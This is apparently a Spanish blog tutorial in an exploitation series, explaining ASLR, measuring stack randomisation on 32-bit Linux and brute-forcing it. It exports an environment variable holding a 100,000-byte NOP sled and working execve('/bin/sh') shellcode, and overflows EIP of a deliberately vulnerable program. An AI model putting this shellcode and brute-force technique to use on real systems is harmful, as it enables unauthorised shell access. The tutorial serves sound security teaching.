ByPassing ASLR

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector -z execstack name.c -o name

Esta vez no hay que desactivar ASLR, si estuviese desactivado se puede activar de la siguiente forma:

echo 2 > /proc/sys/kernel/randomize_va_space

En el artículo anterior estudiamos la protección DEP y ahora toca estudiar ASLR.

ASLR significa Address Space Layout Randomization y es una técnica implementada a nivel de sistema operativo para aleatorizar las direcciones de memoria dentro del espacio de memoria de un proceso, de esta forma una librería como puede ser libc no será cargada siempre en la misma zona de memoria y por tanto técnicas como Return to libc o Jump To Esp no se podrán llevar a cabo tan facilmente.

En este articulo vamos a activar ASLR. Si no lo tenemos activo podemos ejecutar el siguiente comando como root para activarlo

echo 2 > /proc/sys/kernel/randomize_va_space

Pero vamos a volver a desactivar DEP para que nos resulte un poco más sencillo.

Por tanto, el programa vulnerable tendremos que compilarlo mediante la siguiente instrucción

gcc -z execstack -fno-stack-protector name.c -o name

¿Como podemos comprobar si ASLR está activo?

Podemos comprobarlo facilmente ejecutando el comando ldd sobre nuestro programa para ver si las direcciones de memoria varian.

0

Aquí podemos ver como las direcciones de las librerías cargadas varian, si no es así significa que no tenemos ASLR activo. Por lo general algunas librerías de terceros en Windows no son aleatorizadas y en linux el segmento text de nuestro programa tampoco se aleatoriza a no ser que se compile como código independiente de la posición (-fpic).

Este descuido nos deja la puerta a abierta ataques del tipo Return to PLT que veremos en el siguiente artículo, que nos será bastante efectivo cuando DEP y ASLR está activo.

Además podemos imprimir la direccion de una variable de entorno cualquiera y ver que también cambia de dirección de memoria.

1

Pero podemos observar algo realmente interesante. Podemos observar que el byte más significativo no varía, además el byte menos significativo tampoco varia, ni el nibble a continuación del byte menos significativo tampoco varia. Si tomamos una muestra (empezando por el último) de los bytes que varian y lo pasamos a binario obtenemos.

9d8 1001 1101 1000
b59 1011 0101 1001
de4 1101 1110 0110
b81 1011 1000 0001
d0d 1101 0000 1101
d62 1101 0110 0010

Podemos ver como el bit más significativo tampoco varía.

ASLR nos promete que para la pila hay 24 bits aleatorios, obviando los bytes más significativos y teniendo en cuenta lo observado más arriba de que el bit más significativo tampoco es aletorio obtendriamos que el número de bits aleatorios es realmente 23 (2^23 = 8MB que es el tamaño máximo de pila).

Además en el artículo anterior pasamos por alto un pequeño detalle

2

¿Lo véis? En la sección GNU_STACK pone que debe de haber un alineamiento de 0x10 (16). Por tanto el número total de posibilidades para una variable en el stack seria 2^23/16 = 524288. Siguen siendo muchas posibilidades para un ataque de fuerza bruta.

¿Pero y si creamos una variable de entorno con una gran cantidad de nops? ¿Por ejemplo 100.000 nops? Pues que tendriamos una variable bastante larga y si diese la casualidad de que cuando ejecutamos el programa esta variable se encuentra en una dirección de memoria que nosotros especificamos ira recorriendo todos los nops hasta llegar a nuestro shellcode. En efecto, vamos a proceder a realizar una atque de fuerza bruta.

Para ello primero exportamos la siguiente variable de entorno:

export xploit=`python -c "print '\x90' * 100000 + '\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'"`

Aquí exportamos la variable xploit con 100.000 nops y acto seguido nuestro conocido shellcode.

Ahora procedemos a crear el siguiente script:

En este script básicamente llamamos al programa vulnerable con un parametro que es capaz de desbordar el valor de EIP y en EIP proporcionamos una dirección de memoria más o menos cercana o igual a las que hemos obtenido un poco más arriba cuando mostrabamos la accion de ASLR sobre la variable de entorno SHELL

Ejecutamos este script y obtenemos:

3

¡Tachan! Volvimos a poder obtener una shell. Además el ataque ha sido relativamente rápido, unos 2 segundos ha tardado en obtener una shell.

Si no conseguimos obtener una shell, podemos ampliar el número de nops en nuestra variable de entorno (pero con cuidado, ¡algunas shell limitan el tamaño de las variables de entorno!) o podemos aumentar el número de intentos del script.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *